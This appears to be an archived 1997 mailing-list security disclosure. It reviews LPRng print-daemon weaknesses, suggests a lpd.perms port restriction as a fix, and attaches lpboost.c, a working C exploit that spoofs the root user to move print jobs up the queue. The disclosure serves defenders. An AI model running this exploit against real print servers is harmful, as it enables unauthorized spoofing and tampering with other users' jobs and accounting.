home *** CD-ROM | disk | FTP | other *** search
-
- Hi all,
-
- I just looked into LPRng to see to what extent it is affected by the
- problems recently reported for the BSD lpd. It seems that it is fairly
- safe from those mentioned in the SNI advisory.
-
- > Problem 1: File creation
- >
- > Individuals with access to the line printer daemon from a privileged
- > port on a valid print client can tell lpd to create a file, providing
- > the name of the file, including directory names, is no longer than 5
- > characters.
-
- LPRng checks that data and control file names conform to the spool file
- format: [cf]dNNNhostname, where hostname must contain only alphanumeric
- characters or "-_.".
-
- > Problem 2: File deletion
- >
- > Individuals with access to the line printer daemon from a privileged
- > port on a valid print client can tell lpd to remove any file on the
- > system.
-
- When given the U option, lpd checks that it follows a data file
- (e.g. f option), and that the names match.
-
- > Problem 3: Remote execution
- >
- > Individuals with access to the line printer daemon from a privileged
- > port on a valid print client can execute commands remotely as the
- > user which lpd is running as. This vulnerability can allow
- > interactive shell access to the remote system.
-
- The LPRng lpd purges all meta characters (everything but alphanums
- and "-_.@/:()=,+-% \t"), executes sendmail via execve, and does so
- under the daemon uid. As a consequence, you're not allowed to specify
- alternate config files etc.
-
- The only glitch is that, as daemon is usually trusted by sendmail, you're
- able to specify the sender address using the -f option (which makes it
- the most painful way of address spoofing I've come across:-). Also,
- LPRng permits only one M command per print job, so there's no way of
- mailbombing.
-
- There's a different security problem, at least in the default
- configuration shipped by Caldera, which is that lpd doesn't check
- for privileged ports by default, and blindly accepts any user name
- the lpr client provides.
-
- I'm including a small exploit to demonstrate this problem. It lets
- Joe User move any print job to the top of the print queue. To test
- it, it may be best to create a dummy printer, disable printing to it,
- and create some print jobs (by different users). Note that while this
- exploit is pretty harmless, other exploits (such as redirecting
- printers or circumventing the accounting system) are not.
-
- One way to fix that would be to restrict the the range of ports
- from which clients are permitted to connect by putting the following
- into /etc/lpd.perms (right before all other non-comment statements):
-
- REJECT SERVICE=X NOT PORT=512-1023
-
- and stop and restart the printer daemon.
-
- Note that restricting the valid range of ports to 512-1023 also
- stops FTP bounce attacks (bounce attacks don't apply if you install
- the most recent wu-ftpd fix).
-
- However, this fails miserably since all lp clients are installed
- without suid root permissions (at least by Caldera). This seems to be a
- design decision made by the author. OTOH he has put a lot of work into
- the accounting stuff which is quite worthless if lpd can be spoofed
- that easily.
-
- Now, the lpr clients seem to work also with setuid enabled (and at first
- glance, setuid privileges seem to be handled quite carefully). We're
- currently looking into this. Anybody would like to share their experience
- with making LPRng setuid root?
-
- Cheers
- Olaf
-
- PS: Excercise to the reader:-) Problems like this can be solved using
- the SCM_CREDENTIALS stuff in 2.1.x kernels. Lpr can authenticate itself
- with the local lpd via a unix socket, and have lpd forward the job to
- the remote printer using a privileged port. Any takers?
- --
- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play
- okir@monad.swb.de | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax
- okir@caldera.com +-------------------- Why Not?! -----------------------
-
- --hhlLboLdkugWU4S2
- Content-Type: TEXT/PLAIN; CHARSET=us-ascii
- Content-ID: <Pine.SUN.3.94.971020194800.9833H@dfw.dfw.net>
- Content-Description: Print queue? What queue?
-
- /*
- * lpboost.c
- *
- * Simple exploit to demonstrate problem with PLP/LPRng user
- * `authentication': boost your print job's priority by moving it
- * to the top of the queue.
- *
- * This is the most harmless exploit of this problem. More serious
- * ones include circumvention of the accounting system, killing other
- * users' jobs, shutting down printers, redirecting them, etc.
- *
- * Copyright (C) 1997, Olaf Kirch <okir@lst.de>
- */
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #include <netdb.h>
- #include <string.h>
- #include <stdio.h>
- #include <unistd.h>
- #include <errno.h>
-
- static int doconnect(char *hostname);
- static void dosend(int fd, unsigned char ch, char *string);
-
- int
- main(int argc, char **argv)
- {
- char buffer[8192];
- char hostbuf[256], *hostname = hostbuf;
- int fd;
-
- if (argc == 4) {
- hostname = argv[3];
- } else if (argc != 3) {
- fprintf(stderr, "usage: lpboost <printer> <job> [hostname]\n");
- exit(1);
- } else {
- /* If lpd.perms allows queue manipulation only from
- * the local host (SERVER keyword), must use FQDN
- * rather than localhost (127.0.0.1) */
- gethostname(hostbuf, sizeof(hostbuf));
- }
-
- if ((fd = doconnect(hostname)) < 0) {
- fprintf(stderr, "Failed to connect to %s: %s\n",
- hostname, strerror(errno));
- exit(1);
- }
-
- /* Assemble control message */
- sprintf(buffer, "%s %s topq %s %s",
- argv[1], /* printer */
- "root", /* user */
- argv[1], /* printer */
- argv[2]); /* job # */
-
- /* Transmit control message and pick up status */
- dosend(fd, 6, buffer);
-
- exit (0);
- }
-
- static int
- doconnect(char *hostname)
- {
- struct hostent *hp;
- struct sockaddr_in sin;
- int fd;
-
- if (!(hp = gethostbyname(hostname))) {
- fprintf(stderr, "%s: unknown host\n", hostname);
- exit(1);
- }
-
- memset(&sin, 0, sizeof(sin));
- sin.sin_family = AF_INET;
- sin.sin_addr = *(struct in_addr *) hp->h_addr;
- sin.sin_port = htons(515);
-
- if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
- perror("socket");
- exit(1);
- }
- if (connect(fd, (struct sockaddr *) &sin, sizeof(sin)) < 0) {
- perror("connect");
- exit(1);
- }
-
- return fd;
- }
-
- static void
- dosend(int fd, unsigned char ch, char *string)
- {
- char buffer[256], cr = '\n';
- int slen = string? strlen(string) : 0;
-
- if (write(fd, &ch, 1) != 1 ||
- (string && (write(fd, string, slen) != slen
- || write(fd, &cr, 1) != 1))) {
- perror("write");
- exit(1);
- }
-
- while ((slen = read(fd, buffer, sizeof(buffer)-1)) > 0) {
- buffer[slen] = '\0';
- fprintf(stderr, "lpd: %s\n", buffer);
- }
- if (slen == 0 || errno == EPIPE)
- return;
- perror("read (errmsg)");
- exit(1);
- }
-
-